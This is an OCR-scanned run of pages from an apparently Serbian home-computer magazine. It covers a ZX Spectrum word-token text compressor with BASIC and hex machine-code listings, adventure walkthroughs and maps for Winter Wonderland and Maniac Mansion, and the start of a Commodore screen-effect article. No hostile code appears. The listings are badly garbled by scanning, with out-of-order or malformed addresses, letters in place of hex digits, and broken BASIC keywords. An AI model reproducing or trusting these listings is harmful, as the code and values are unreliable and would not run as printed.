normalno, rec treba da pocne velikim slovom

Upravo to radi i nasa rutina: automatski „izba-

cuje" rec ispisanu velikim pocetnim slovom na

raestu gde je to potrebno. Zato je potrebno ko-

dirati veliko slovo samo ako se takva rec nala

zi u sredini recenice (ako je u pitanju neka

vlastita imenica, recimo).

Jos jedan detalj bilo bi veoma efektno kodi-

rati: novi red. Ako ste ikada pisali neki bejzik

program (verujemo da jeste) gde postoji neka

duza PRINT naredba, verovatno ste, ako neka

rec ne moze da stane u jedan red, nju prebacili

u sleded, a prostor izmedu posiednje red i

desne ivice ekrana ispunili razmacima (space).

Jeste ii razmislili koliko ste time bajtova izgu-

bili, narodto aJco pi§ete program gde je tekst

neophodan (neki obrazovni program ili avan-

tura)? Tokenizovanjem „novog reda" postize

se koristan efekat da kompjuter sam proceni

da li neka rec moze stati u jedan red i ako ne

moze, da je prebaci u sleded. Naravno, ovde

cemo kodirati novi red samo ako nam je on

potreban negde u sredini teksta (nov pasus, re-

cimo).

Prilikom kodiranja red obracena je paznja

na sto vecu ustedu u bajtovima koji oznacava-

jii jednu rec; recimo, red sa kodom manjim od

256 mogu biti kodirane jednim bajtom, medu-
tim sta je sa ostale 1792 reci? Kodiraju se sa

dva bajta, s tim da kompjuteru moramo ^red"

kada da ocekuje jednobajtni ili dvobajtni to-

ken, Za to koristimo jedan od neiskoriscenih

bitova.

I jos nedo: kako kompjuter zna kad je kraj

odredene poruke (teksta)? Pomocu bajta koji

mozemo nazvati „terminator" i koji ima kod 0,

Tu nulu kompjuter shvata kao token, odnosno

rec koja nema efekta na ekranu vec samo na-

laze kompjuteru da prestane sa ispisivanjem

red. Znad, kompjuter „dta" kodove, ispisuje

odgovarajuce red i kada „naleti" na kod 0,

prestaje sa ispisom i vraca se u izvodenje giav-

nog programa. Takode, pri smeStanju recnika

moramo imati oznaceno mesto koje ce pred-

stavljati kraj svakog unosa. Zgodna metoda

koriscena je u Spectrumovom ROM-u i mno-
gim programima; setovanjem 7-og bita posled-

njeg bajta u red dobijamo kod koji je za 127

ved od nama potrebnog. Kada kompjuter nai-

de na neki takav kod (gde je 7-mi bit setovan).

zna da je na kraju red.

U prethodnom delu teksta videli smo da oi-

je neophodno kodirati razmake, vec ih kom-
pjuter sam pravi. Tako, ako zelimo tokenizo-

vati neku recenicu, neophodno je uzeti u pbzir

i druge nadne predstavljanja razmaka u okvi-

ru ovih recenica. Najjednostavniji nadn je

predstaviti ih putem karaktera za koji postoji

reiativno mala mogucnost da ce se pojaviti u

obicnopi tekstu. U ovde predstavljenom kom- >
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presoru, znak (ASCII kod 64) interpretira

se kao „razinak u recenici".

Listinzi...

Koristeci Hex-loader sa listinga 1. unosite

program sa listinga 2. U okviru listinga 2 nala-

ze se program! za kompresiju i dekompresiju
tel<^a (kompresor - pocetak na adresi 31220,

duzina 315 bajtova: dekompresor - pocetak na
adresi 31000, duzina 199 bajtova). Prva adresa
u printer baferu (23296) nosi ukupan broj ka-

raktera u input-liniji teksta dok ostali dec
(23297 - 23551) slua za smestanje te input-li-

nije.

LISTING 1

20 DEF FN H$(A)=CHR$ (INT <A/1
6)-^48+7*(A>159) )+CHR» (A-IA+INT
(A/16>+48+7*( <A-16*INT (A/t6) ) >9
} )

30 DEF FN H{H*)=CODE H*-48-7*(
CODE H*>57>

40 INPUT “Start "jS
50 INPUT “Kraj "

; F
60 FOR N=S TO F STEP 8
70 PRINT N;"s "

;

90 INPUT A»
110 PRINT A»
120 FOR B=0 TO 7
130 LET Z=FN H < A») >k16+FN H<A*(2

) )

150 POKE <N+B),Z
160 LET A$=A*{4 TO )

170 NEXT B
220 NEXT N

LISTING 2

31000 FE 00 C4 3E 79 3E 08 32
31003 DE 79 7E FE 00 C8 16 00
31016 5F 23 CB 43 28 02 56 23
31024 CB lA CB IB IB E5 C5 CD
31032 4A 79 Cl El 18 E4 C5 47
31040 7E 23 FE 00 20 FA 10 F8
31043 Cl C9 C5 El CD B6 79 CD
31056 97 79 3A DE 79 B2 57 AF
31064 CB 5A 23 02 3E E0 36 CB
31072 BF FE 40 20 02 3E 20 CD
31080 D6 79 AF CB 7E 23 28 EE
310S3 CB 62 28 07 3E 2E CD D6
310-96 79 3E 08 32 DE 79 3E 2C
31104 CB 6A C4 D6 79 3A SS 5C
31112 FE 01 3E 20 C4 D6 79 3E
31120 0D CB 72 C4 D6 79 C9 E5
31 123 D5 C5 3A 88 5C 3D 3D CB
31136 7E 23 28 FA CB 62 23 01
31144 3D CB 6A 28 01 3D FE 20
31152 38 28 3E 0D 18 23 7A E6
31160 07 FE 00 C4 C7 79 7B FE
31168 00 C8 43 3E 01 13 02 06
31 176 00 CB 7e 23 28 FB 10 F9
31184 3D FE 00 20 F2 C9 E5 D5
311-92 C5 D7 Cl D1 El C9 01 CD
31200 6B 0D 3E 02 CD 01 16 3A
3120S B0 5C ED 4B 2F 7B 2A 31
31216 7B C3 18 79 DD 21 01 5B
31224 DD 7E 00 FE 5F CA 77 7A
31232 IE 00 16 00 4A 21 3E 7B
31240 DD 7E 00 DD 23 FE 5E 28
31248 4C FE 20 28 34 FE 2E 20
31256 04 CB El 18 2C FE 2C 20
31264 04 CB E9 IS 24 77 7A FE
31272 00 20 15 7E FE 5B 30 10
31280 FE 41 33 0C C6 20 77 3A
3 1 238 DE 79 FE 00 20 02 CB D9

31296 23 14 1C 3A 00 5B BB 30
31304 BF 1C 3A 00 5B BB 38 14
31312 DD 7E 00 FE 20 20 06 1C
31320 DD 23 DD 7E 00 FE 5E 20
31328 03 1C CB FI 7A 32 3D 7B
31336 CD 81 7A 3A 00 5B BB 30
31344 91 2A 35 7B AF 77 C9 2A
31352 35 7B AF 77 23 22 35 7B
31360 C9 DD E5 D5 E5 1

1

00 00
31363 21 37 7B 7E FE 00 20 06
31376 23 7E FE 00 23 47 DD 2A
31334 2F 7B DD 2B 21 3E 7B 3A
313-92 3D 7B 47 DD 23 DD 7E 00
31400 CB BF BE 23 20 13 78 FE
31408 01 20 08 DD CB 00 7E 28
31416 0D IS 06 DD CB 00 7E 20
31424 05 10 E0 D5 18 3A DD CB
31432 00 7E DD 23 23 FS DD 2B
31440 13 21 37 7B 7E BB 20 C4
31448 23 7E BA 20 BF 2A 37 7B
31456 E5 23 22 37 7B 2A 33 7B
31464 DD 21 3E 7B 3A 3D 7B 47
31472 DD 7E 00 DD 23 77 23 10
31430 F7 2B CB FE 23 22 33 7B
31483 AF CB 61 28 01 3C 32 DE
31496 79 D1 2A 35 7B 13 7A E6
31504 07 B1 57 AF CB 13 CB 12
31512 7A FE 00 23 02 CB C3 73
31520 23 CB 43 28 02 77 23 22
31528 35 7B El D1 DD El C9 00

listing 3

' 60 BORDER is PAPER is INK 7
70 CLSs PRINT " TEKST KOM

PRESOR” SPRINT
80 PRINT “1. Resetovanje point

era 2. Unosenje teksta
3. Listanje teksta
4. Listanje recnika
5. Podaci a kompreso

ru 6. SAVE recnika / te
ksta 7, LOAD recnika / te
ksta"
90 INPUT "Opcija? "sapt
100 IF opt<l OR opt>7 THEN GO T

O 90
110 PRINT AT (opt+8),3; FLASH 1

; opt
120 PAUSE 100
130 GO SUB (opt>t<1000)
140 GO TO 40
150 CLEAR 30999
160 LOAD "“CODE
170 GO TO 10
700 LET *=nd3 GO SUB 94©
710 POKE 31543, is POKE 31544, h '

720 LET *=nms GO SUB 940
730 POKE 31545, is POKE 31546,

h

740 LET K*chs GO SUB 940
750 POKE 31547,1s POKE 31548,

h

760 RETURN
800 LET nd=PEEK 31543+PEEK 3154

4*256
810 LET n(n=PEEK 31545+PEEK 3154

6*256
.
820 LET ch=PEEK 31547+PEEK 3154

8*256
830 RETUf^N
900 PAUSE 30
910, PRINT #1;AT 1 , 0s “Pr i t i sn i t

e

b i Iq ko j i taster"
920 IF CODE INKEY$=0 THEN GO TO
920
930 RETURN
940 LET h=INT-{x/256>
950 LET l=*-h*256
960 RETURN

1000 REM *ResetovanJe pointers*
1010 BORDER i: PAPER is INK 7
1020 CLS
1030 PRINT "Zelite li da resetuj
ete sadrzaj recnika?"s PRINT
1040 INPUT r*
1050 IF r4="n" OR r*=”N“ THEN GO
TO 1160
1060 IF r*<>"d" AND r*<>"D" THEN
GO TO 1040 I

1070 PRINT "Adresa pocetka recni I

ka? (0 - bez promene)"
1080 INPUT *s IF x=0 THEN GO TO
1100
1090 GO SUB 940S POKE 31535,1: p
OKE 31536,

h

1100 POKE 31543, 0s POKE 31544,0
1110 POKE 31539. PEEK 31535
1120 POKE 31540, PEEK 31536
1130 POKE 31547, 0s POKE 31548,0
1140 PRINT "Recni k je resetovan.
"s PRINT
1150 GO TO 1200
1160 PRINT ."Zel i te 1 i da resetuj
ete tekst?"s PRINT
1170 INPUT r%
1180 IF r*="n" OR r»="N" THEN GO
TO 1270
1190 IF r*<>"d" AND r*<?>"D“ THEN

‘

GO TO 1170
1200 POKE 31545,0s POKE 31546,0
1210 PRINT “Adresa pocetka tekst
a? (0 — bez promene)"
1220 INPUT xs IF x=0 THEN GO TO
1240
1230 GO SUB 940S POKE 31537,1s p
OKE 31538,

h

1240 POKE 3 1541, PEEK 31537
1250 POKE 31542, PEEK 31538
1260 POKE 31547,0s POKE 31548,0
1270 PRINT "Tekst je resetovan"
1280 GO SUB 900
1290 RETURN !

2000 REM ** Unosenje teksta **
2010 PAPER 5s BORDER 5s INK 0
2020 GO SUB 800
2030 IF nd<2000 THEN GO TO 2070
2040 CLS : PRINT FLASH 1;“PAZNJA

2050 PRINT "Sadrzaj recnika > 20

00 "

2060 GO SUB 900
2070 CLS s PRINT "Broj peruke
nm
2080 POKE 31198,1
2090 INPUT a*
2100 LET a=LEN at
2110 IF a=0 THEN GO TO 2090
2120 IF a<=255 THEN GO TO 2150
2130 PRINT AT 20,0s"Greska - duz
ina strings > 255 Molim ponovi
te unosenje"
2140 GO TO 2090 £
2150 POKE 23296, (a-1)
2160 FOR i=l TO a 'HI-:

2170 POKE <23296+ i), CODE] ,a*(i)
2180 NEXT i

2190 RANDOMIZE USR 31220
2200 IF a*(l)="_" THEN GO TO 227
0
2210 PRINT AT 1,0?
2220 LET c=PEEK 31198

2230 POKE 23728, nm: RANDOMIZE US
R 31207
2240 POKE 31 198,

c

2250 LET ch=ch+a
2260 GO TO 2090
2270 LET nm=nm+l
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AVANTURE

Setnja

po

Tibetu

2280 INPUT "Jos teksta? “;r*
2290 IF r*="d'‘ OR r*="D“ THEN GO
TO 2070

2300 LET nd=PEEK 31543+PEEK 3154
4*256: 60 SUB 700
2310 IF nd<2000 THEN GO TO 2330
2320 CLS : PRINT FLASH i;"PAZNJA

PRINT "Recnik je skora pun"
2330 GO SUB 900
2340 RETURN
3000 REM * Ispis poruka *
3010 BORDER 4: PAPER 4: INK 0
3020 GO SUB 800
3030 IF nm=0 THEN RETURN
3040 FOR i=0 TO nm-l
3050 POKE 23728,

i

3060 RANDOMIZE USR 31199
3070 PRINT 21,0j"BroJ poruke "si
3080 GO SUB 900
3090 NEXT i

3100 RETURN L

4000 REM * Ispis recn i ka *
4010 BORDER 5s PAPER 5: INK 1

4020 GO SUB 800S IF r.d=0 THEN RE
TURN
4030 LET wds=PEEK 31535+PEEK 315
36*256: CLS
4040 FOR i=l TO nd STEP 20
4050 CLS s PRINT PAPER 1; INK 7i
"REC";TAB 20s"BROJ": PRINT
4060 FOR j=i to 5+19
4070 LET c=PEEK wdss LET wds^wds
+ 1

4080 LET d=cs IF 0123 THEN LET
c=c-128
4090 PRINT CHR* cs t

4100 IF d<128 THEN GO TO 4870
4110 PRINT TAB 205 j

4120 IF j*nd THEN GO TO 4140
4130 NEXT j

4140 GO SUB 900
4150 NEXT i

4160 RETURN
5000 REM * Podaci o kompresoru *
5010 BORDER 6s PAPER 6: INK is C
LS
5020 GO SUB 800
5030 PRINT "PODACI 0 KOMPRESORU"
: PRINT “ PR
INT ’

5040 PRINT “Nekompresovan i tekst
"sTAB 20;ch5TAB 27;"bajta"s PRIN
T *

5050 LET dl*PEEK 31539+PEEK 3154
0*256- (PEEK 31535+PEEK 31536*256
)

5060 PRINT "Sadrzaj recnika";TAB
20; nd: PRINT

5070 PRINT "Velicina recnika"sTA
B 205 dl; TAB 27;"bajta"s PRINT
5080 LET ml=PEEK 31541+PEEK 3154
2*256- (PEEK 31537+PEEK 31538*256
)

5090 PRINT "Kofflpresovan teksf'sT
AB 20;ml<TAB 275"bajta"s PRINT s

PRINT
5100 PRINT "Recnik + teksfsTAB
20; (dl+ml > ;TAB 27; "baj ta" s PRINT
: PRINT
5110 LET x=INT (10000*(l-(dl+ml)
/ch)>/100
5120 PRINT "Faktor kompres

i j
e

" ;

T

AB VAL "20"; FLASH VAL ''l";xs"%"
5130 GO SUB 900
5140 RETURN
6000 REM * SAVE *
6010 BORDER 0s PAPER 0s INK 7
6020 GO SUB 700
6030 CLS : SAVE "POINTER I "CODE 3

1535, 15
6060 LET x*PEEK 31535+PEEK 31536
*256
6070 LET 1=PEEK 31539+PEEK 31540
*256-

X

6090 SAVE "REeNIK"CODE x,l
6100 LET x=PEEK 31537+PEEK 31538
*256
6110 LET 1=PEEK 31541+PEEK 31542
*256-

X

6130 SAVE "TEKST"CODE x,l
6140 PRINT "O.K."
6150 GO SUB 940
6160 GO SUB 900
6170 RETURN
7000 REM * LOAD
7010 BORDER 0s PAPER 0s INK 7
7020 CLS s LOAD ""CODE 31535
7060 LET x=PEEK 31535+PEEK 31536
*256
7070 LOAD ""CODE x

7090 LET x=PEEK 31537+PEEK 31538
*256
7100 LOAD ""CODE x

7110 GO SUB 940
7120 GO SUB 900
7130 RETURN

Na listingu 3 nalazi se bejzik program koji

sluzi za kontrolisanje rutina za kompresiju i

dekompresiju teksta. Opcija 1 omogucuje vam
da resetujete recnik i tekst. Za pravilno izvo-

denje programa, neophodno je da iskoristite

ovu opciju pre unosenja bilo kakvih podataka.

Da bi bio postignut sto veci ucinak u ustedi

memorije, u prvih 255 lokacija u recniku une-

site reci za koje znate da ce se najvise pojavlji-

vati u tekstu. To postizete tako sto u tekstu re-

dom kucate te reci, pa zatim obrisete tekst ne
dirajuci recnik. U recniku ce ostati zeljene reci

i njihovi kodovi. Vi mozete nastaviti kucanje

teksta a kompjuter ce nastaviti da u recnik

smesta ostale reci koje se manje koriste.

Prilikom unosenja teksta, moguce je u jed-

nom inputu otkucati samo 255 karaktera, s

tim da to ne mora biti limit za jednu poruku
(ili deo teksta), sto ce reci da ako je vasa poru-

ka duza od 255 slova, mozete je nastaviti u sle-

decem inputu. Vazno je samo da na stvarnom
kraju unesete znak "

J' (ASCII kod 95) .koji

osim sto radi kao „kraj poruke” salje tekst koji

sledi u novi red. Novi red pravi i karakter „

"

(ASCII kod 94) koji moze biti unesen u bilo

kom delu teksta.)

Vec smo rekli odakle dokle su smeStene ru-

tine za kompresiju i dekompresiju teksta. Ono
sto je vazno napomenuti jeste da pre startova-

nja rutina u A registru procesora mora stajati

redni broj poruke koju treba ispisati, u HL re-

gistry mora stajati startna adresa od koje su

sme§teni tokeni a u BC registru startna adresa

recnika.

Primena

Pogram za kompresiju teksta ovog tipa mo-
guce je iskoristiti na vise nacina: praveci igre-

-avanture, neki obrazovni program ili slicno,

kao i u slucaju kada zelite neki tekst (du^i 'ili

kraci) da sakrijete od pogleda radoznalilf ha-

kera. Sve u svemu, ni ovo kao i kompre^,.ria
pet bitova nije poslednja rec u kompreSiji^k-
sta. Ako imate originalna resenja za ste’driju

prostora, piSite nam. Isto tako, zainteresovani

smo za dobar kompresor ekrana - pravi iza-

zov za prave hakere.

O

Da ni Tibet vise nije ono sto je

nekad bio, saznacete iz Sveta
avantura.

Pise Nikola Popovic

Winter Wonderland
Hrvoje i Jurica Zrilic prijatno su nas iznena-

dili resenjima dve popularne avnature: Quest
For Holy Grail i Winter Wonderland. Ova
prva bice objavljena u nekom od narednih
brojeva, a sada da se pozabavimo Wonder-
land-om:
Mirno letite „Cesnom" i uzivate u prekras-

nim pejzazima Tibeta. Iznenada, motori se ga-

se i avion pada. Tim padom pocinje avantura.

Odmah uzmite kaput i cipele. Na lokaciji na-

severu pokupite signaini piStolj. Nemojte pre-

vise lutati okolo jer je tanak led. Kada naidete

na grizlija koji vam je blokirao put, re§ite ga se

pistoljem (SHOOT GUN). Zatim se spustite u

malu pecinu. Ovde unesite sledece komande:
EXAMINE POT-HOLER, GET ROPE i GET
PICK. Prokopajte snezni nanos (DIG SNOW-
DRIFT). Udite u hotel. Kao da su vas ovde
bCekivali, recepcionarka vam daje kljuc od va-

se sobe gde se nalazi u usisivac. Uzmite ga
(GET CIJEANER), pa ga dajte spreraacici (Mrs
Thompson). Dobicete sapun. Na recepciji uz-

mite otisaic glavnog kljufia (PRESS KEY TO
SOAP). Idite do bravara (locksmith) koji vam,
kao prvoj musteriji, besplatno izraduje kljuc.

Vratite se u hotel i pokupite karticu (CASH
CARD) na kojoj se nalazi 100 kredita. U Mil-

ton Shopping Center-u kupite hranu (BUY
FOOD), a zatim i hrcka (BUY HAMSTER).
Na zeleznickoj stanici uzmite kartu (GET

TICKET) i idite na sever. Na drugoj strani ceka
vas Wompa (neka vrsta Jetija). U knjizi „Myt-
hology" iz BOOK SHOP-a pi§e da Wompe vo-

le da jedu hrcke. Zato spustite hrcka (DROP
HAMSTER) i Wompa vam vise nece smetati.

U banci mozete dobiti jo§ 100 kredita. U NE-
WSAGENCY kupite novine (BUY MAGAZI-
NE), Zatim proCitajte novine (READ MAGA-
ZINE) i primeticete narudzenicu. U DIY
SHOP-u kupite makaze (BUY SCISSORS) a

sprat nize i olovku (BUY PEN). Isecite narud-
zbenicu (CUT FORM) i ispunite je (FILL -

FORM). Da bi sve bilo po propisu, u posti ku-

pite marku (BUY STAMP) i zalepite je (AFFIX
STAMP). Narudzbenicu predajte postaru (GI-

VE FORM). U SKATE SHOP-u kupite kiizalj-

ke (BUY SKATES). Sada mozete hodati po za- ^
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ledenoj reci. Na ostrvu uzmite bananu (GET
BANANA).

U JOKE SHOP-u kupite laznu bradu (BUY
BEARD). Sa njom izgledate 10 godina stariji

pa mozete kupiti alkohoino pice (na lokaciji

DRY MARTINI otkucajte BUY SPIRIT). Vrati-

te se po ledenicu (GET ICICLE) i krenite ka ig-

lou u kojein se nalazi Cekii (MALLET). Cuva
ga ratoborni domacin. Napravite se ludi i po-
jedite bananu (EAT BANANA) i bacite koru
(DROP Peel). Besan §to mu prljate kucu, do-
macin ce krenuti ka vama i okliznuti se, Poku-
pite cekic i idite do lokacije LEDGE u sumi.
Zakucajte ledenicu u zemlju (SMASH ICICLE
INTO GROUND) i zavezite konopac za nju
(TIE ROPE). Spustite se dole i na lokaciji WET
GROUND ispustite martini, §to ce vam oslo-

boditi prolaz. Vratite se u DIY SHOP i kupite
super lepak (BUY SUPRA-GLUE). Ovde vas
ceka paket (poslali ste narudzbenicu, zar ne?).

Otvorite ga (OPEN PARCEL) i u njemu cete

nati zmaja na sklapanje. Procitajte uputstva
(READ MANUAL) i sastavite zmaja (BUILD
KIT). Ostavite sve osim kaputa i cipela. Sada
mozete uzeti zmaja (GET HANG-GLIDER).
Krenite do lokacije CLIFF. Ovde se nalazi veli-

ka stena koja je idealna za poletanje. Krenite
nadole (DOWN) i odletecete u sigurnost.

Toliko 0 reSavanju Winter Wonderland-a, a

sada male o mapi koja ide uz ovu avanturu:
radi lakseg snalazenja, neke lokacije su obele-

iene brojevima a svaki broj oznacava skraceni
naziv lokacije ili predmet koji se na toj lokaciji

nalazi na pocetku igre.

01 - Your Room
02 - Cash Card
03 - Bottle Of Fluid

04 - Mrs Thompson
05 - Receptionist

06 - Pot Holer
07 - Hotel
08 - Icicle

09 - Snow Drift

10 - Food Shop
11 - Lock Smith
12 - Uft
13 - Milton Shopping Centre
14 - Island

15 - Egg
16 - Grizzly
17 - Ski Shop
18 - Pet Shop

19 - Pen
20 - Ice Bridge

21 - Ski Uft
22 - Skate Shop
23 - DIY Shop
24 - Florist

25 - Uft

26

- Prof. Of Ornitology
17 - Book Shop
28 - Dry Martini

29 - Railway Station (Ticket)

30 - Railway Station

31 - Wompa
32 - Post Office

33 - News Agent
34 - Postman
35 - Bank
36 - Travel Agency
37 - Joke Shop
38 - Igloo

39 - Forest

40 - Cliff

41 - Valley
42 - Wet Ground
43 - Ledge

Maniac Mansion
Kompletno resenje za jednu od najboljih

disketnih avantura „Manioc Mansion" dobili

smo od tandema Srdan Janitovic - Marko Co-
si6. Da podsetirao, cilj je spasti devojku iz ru-

ku profesora koji je poludeo posle pada mete-^

ora.

Na pocetku izaberite, pored Davea, i Michaela
(fotograf) kao i Bernarda (fizicar), Posle uvo-

da, koji morate pretrpeti, u liku Davea idite do
otiraca ispred kuce, dignite ga, uzmite kljuc i

otkljucajte vrata, Posaljite Bernarda u pred-
soblje da pritisne desni ukras na ogradi (gargo-

yle). Kada se vrata ka reaktoru otvore, neka
Dave tide uutra, pokupi kljuc i vrati se u pred-

soblje. Sada po§aljite Bernarda Icroz dnevnu
sobu u biblioteku. Neka on otvori Loose Panel
(poslednji kvadrat na donjem delu police za

knjige) i neka uzme kasetu, Neka se, onda,
vrati u dnevnu sobu, otvori radio i iz njega iz-

vuce elektronsku cev (radio tube).

Zatvorite radio, udite u predsoblje i kasetu

dajte Daveu. Daveom krenite u likovni atelje i

pokupite cetku, paint-remover, i ciniju voca.

Idite desno, u prostoriju sa klavirom, pokupite
staru plocu, a kasetu stavite u kasetofon. Vra-

tite se u kuhinju i pazljivo udite da vas ne uh-

vati baba koja zdere pored frizidera. Ako ste

dovoljno brzi mozete izaci kuda ste i uSli, i

ona vas nece pratiti. Uzmite Michaela i dodite

pred vrata, u pretsoblje. Zatvorite prednja vra-

ta, uzmite Davea i opet udite u kuhinju (ako

malopre niste uspeli zbog babe). Pokupite ba-

terijsku lampu i testeru sa zida. Otvorite frizi-

der i pokupite sve iz njega. Idite desno u trpe-

zariju i pokupite pile i but. Idite jos desno, u
ostavi i pokupite sve sa polica, all razvijac ce

se razbiti. Ne bojte se, ne smeta
Vratite se istim putem i idite u hodnik 3, Ta-

mo vam Tentacle sprecava prolaz, trazeci bra-

nd. Dajte mu samo posudu sa vocem i vocne
sokove. On ce otici u tosak, a vi idite u Fredo-

vu sobu, uzmite zeton (dime) sa poda i penjite

se u muzicki atelje. Tentacle ce vam reci da je

u depresiji, a vi ga pustite da se muci i uzmite
ploCu sa police kao i kljuc sa kuke na desnom
zidu. Uzmite Bernarda, dovedite ga u tu istu

sobu (Fredovu) i neka on ugradi electronic tu-

be Li tube socket, levo od radio-prijemnika.

Uzmite Davea i idite u
,
prolaz, istrenirajte se

na Hunk-o-matic-u, pa cete ojacati.

Izadite ispred kuce i otvorite grating (levo

od vrata), udite, 1 idite skroz desno, do ventila.

Dovedit.e Michaela do Davea, i neka mu Dave
da silver key, kojim ce Michael otkljucati vra-

ta od ostave, uci u dvoriSte 1 stati kod bazena.
Brzim manevrom, neka Dave ispusti vodu iz

bazena otvarajuci ventil (turn on), a Michael
ce uci u bazen i pokupiti kljuc i radio 1 brzo iz

njega izaci. Neka Dave brzo zatvori ventil, a

Michael neka otvori radio i dobice baterije.

Daveom dodite do Michaela, u dvorilte. gde
ce mu Michael dati baterije i kljuc (glowing

key), Neka Dave otvori kapiju na tarabi (gate)

i neka dode do vrata garaie, otvori ih i otklju-

ca gepek sa yellow key-om, zatim pokupi alat i

ode do Bernarda u Fredovu sobu i da mu bate-

rije, alat (tools) i paint remover. Zatim neka
Bernard ode do sobe sa biljkom-mesozderkom
i obrise paint block upotrebom paint-remove-
ra. Pojavi6e se vrata, kroz koja ce on uci i stati

kod zica. Neka Dave ode do sobe sa klavirom i

stavi obienu plocu (record, a ne old record) na
gramofon, ukljuCi kasetofon, pa onda i gramo-

Maniac Mansion

LEGENDA:

1 - Start

2 - Prolaz

3 - Post- sanduCe

4 - Garaza

5 - Dvoriste

6 - Spajz

7 - Trpezarija

8 - Kuhinja

9 - Predsoblje

10 - Dnevna soba

11 - Biblioteka

12 - Reaktor

13 - Zatvor

14 - Ulazak u lab.

15 - Tajna lab.

35 - Meteorova soba

17 - Hodnik 1

18 - Likovni atelje

16 - Soba sa klavirom

19 - Hodnik 2

20 - Medicinska soba

21 - Fliperana

22 - Hodnik 3

22 - Hodnik 4

23 - Foto laboratorija

24 - Hodnik 5

25 - Fredova soba

26 - Ednina soba

27 - Edova soba

28 - Prolaz

29 - Muzicki atelje

30 - Soba sa sefom

31 - Soba sa biljkom ljudozderkom

32 - Kupatilo

33 - Soba sa zicama

34 - Opservatorija
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fon. ZaCuce se zvuk, a vi cekajte dok vaza na
klaviru ne pukne. Onda iskljucite kasetofon,
pa gramofon. Sada, neka Dave uzme kasetu i

ode u dnevnu sobu, otvori kredenac, i ubaci
kasetu u kasetofon. Kada ga ukljuci, popucace
prozori i pasce luster. Pokupite sa poda kljuc
kojim otvarate desna vrata zatvora.

Ispod levog prozora je cigla (u zatvoru). pri-

tiskom na nju privremeno otvarate vrata za-
tvora. Michaela postavite u predsoblje, i neka
pritisne gargoyle, a kada se Vrata otvore. zovi-
te Davea, koji treba da ude do reaktora i otvo-
ri fuse box (LEVO). Potrebno je da Bernard
ubaci baterije u lampu i ukljuci je. Prebacite se
na Davea, koji ce iskljuciti struju (circuit brea-
kers). Brzo kod Bernarda, koji ce popraviti zi-

ce (fix wires with tools). Brzo ugasite lampu i

prebacite se na Davea. koji ukljucuje struju i

zatvara fuse box. Bernarda dovedite pred tre-
da vrata u hodniku 4, a Davea na isto mesto.
Neka Bernard ude, i Ed ce ga sprovesti u za-
tvor. Dok se on vraca, vi mu udite u sobu i uz-
mite mu hrcka (hamster), card key (iza hrcka),
obijte kasicu i pokupite sve novcice, brzo iza-
dite i idite u prolaz, gde cete cekati oko 30 se-
kundi dok Ed ponovo ne ude u svoju sobu. Sa-
da izadite, idite u dvoriste i zagrabite radioak-
tivnu vodu u Glass Jar, koja ce postati Jar of
Water.

Sada idite u sobu sa biljkom-mesozderkom i

dajte joj tu vodu; od nje ce narasti do plafona.
Dajte joj konzervu Pepsi-kole i biljka ce se
umiriti i poceti da podriguje. Idite gore u op-

servatoriju i ubacite novCic u coin slot, pa pri-

tistnite desno dugme. Ubacite jo§ jedan, i jo§
jednom pritisnite desno dugme, a kad presta-
ne da rotira (teleskop), dajte komandu: use re-

al powerful telescope i ako vidite pauka, sve je

u redu (za sada).

Odvedite Davea do Edne i ona ce ga zatvo-
riti. On ce osloboditi svu trojicu, uz pomoc
kljuCa (old rusty key) i neka Michael i Bernard
odu do vrata Ednine sobe, a Davea vratite u
opservatoriiu. Neka Bernard ude u Edninu so-
bu i bice odveden u zatvor, a dok se Edna vra-
ca pokupite kljuc sa stocica i idite merdevina-
ma gore. Upalite svetlo (u svim sobama gde je

svetlo ugaseno, trazite lampu sa WHAT IS. a
palite svetelo sa TURN ON. ..svetlo ne mozete
upaliti ukoliko nema struje), pa otvorite sliku

sa desnog zida i pojavice se sef. Udaljite se od
njega (ne silazite dole, vec idite prema sebi),

Dave ce pogledati u teleskop i procitati sifru.

Zapisite je i njome neka Michael otvori sef I

uzme koverat. Otvorite koverat i dobicete
novcic (quarter). Davea dovedite u Edninu so-

bu i ona ce ga odvesti u zatvor, a za to vreme
vi sidite i bezite u Fredovu sobu (Michael). Sa-
da, ako ste sacekali oko 30 sekundi, idite u so-
bu sa fliperima, do igre METEOR MESS. Ot-
kljucajte coin box na njoj i ubacite quarter u
igru. Na kraju, pojavice vam se HIGH SCO-
RES, a prvi po redu je sifra za otvaranje labo-
ratorije. Zapigite prvi broj, ali pazite - ako
Fred dode, igrade tu igru, postaviti novi HIGH
SCORE, i gifra fie se promeniti, ali vi je opet ig-

rajte tako §to cete pokupiti quarter iz coin bo-

xa.

Prebacite se na Davea koji je u laboratoriji i

sa Glowing key otvorite gornji i donji katanac
(top and bottom padlock), svaki posebno, pa
otvorite spoljna vrata. Pojavice se druga (unut-

ragnja) vrata, a njih otvorite HIGH SCORE-
-om, ali ne ulazite. Neka Michael ode do Fre-

dove sobe. ukljuci radio, procita broj policije

sa poternice, i neka pozove policiju. Policajac

fie refii da stize, a vi ugasite radio, i prebacite

,56 na Davea, u zatvor. Cekajte policajca, a kad
stigne on ce uhapsiti meteor, a potom neka
Dave ude u laboratoriju. ali prethodno treba

da pokupi bedz, koji fie policajac izgubiti, na
podu zatvora. Pojavifie se Purple Tentacle, 1

kada bude hteo da vas strpa u zatvor, pokazite
mu bedz (give badge to Purple Tentacle) i on
ce pomisliti da ste policajac, pa fie poceti da
vam prica kako je nevin, i nateran da cini ne-

dela. A kada se ispovedi, ididte desno, prodite

doktora koji uria i ukljuCuje mehanizam za sa-

mounistenje.

Uzmite skafaner iz plakara (locker), i obuci-

te ga. Ubacite CARD KEY u CARD SLOT (des-

no od desnih vrata), vrata ce se otvoriti, a vi

udite i ugasite prekidac, koji se nalazi levo od
vrata. Dr Fred ce postati normalan i ugasice

mehanizam za samounistenje, ali samo ako je

pre toga policajac odneo meteor. Potom ce os-

loboditi va§u devojku. Sledi kraj.

o

COMMODORE INTRO SERVIS

Procesljaj mi ekran
Da, u prvu ste. Naslov
mozda zvuci glupo, ali

efekat koji vam ovom
prilikom dajemo zaista

odgovara. O cemu se
radi - shvaticete

ukoliko nastavite da
citate ovaj test.

Pise Milan Vjestica

Efekat koji vam sada opisu-

jemo omogucice vam da iz-

vrsite brzu izmenu sadrzaja

ekrana novim. To nece izvrsiti

na jednostavan nacin, zame-
nom postojeceg sadrzaja ekra-

na novim, vec cemo uvesti i

neke zanimijive efekte.

Za pocetak, zamislite da se

vas ekran sastoji od dva po-

sebno odvojena ekrana. Neka
prvom ekranu pripadaju sve

neparne linije stvarnog ekra-

na, a neka drugom ekranu pri-

padaju sve parne linije. Dva
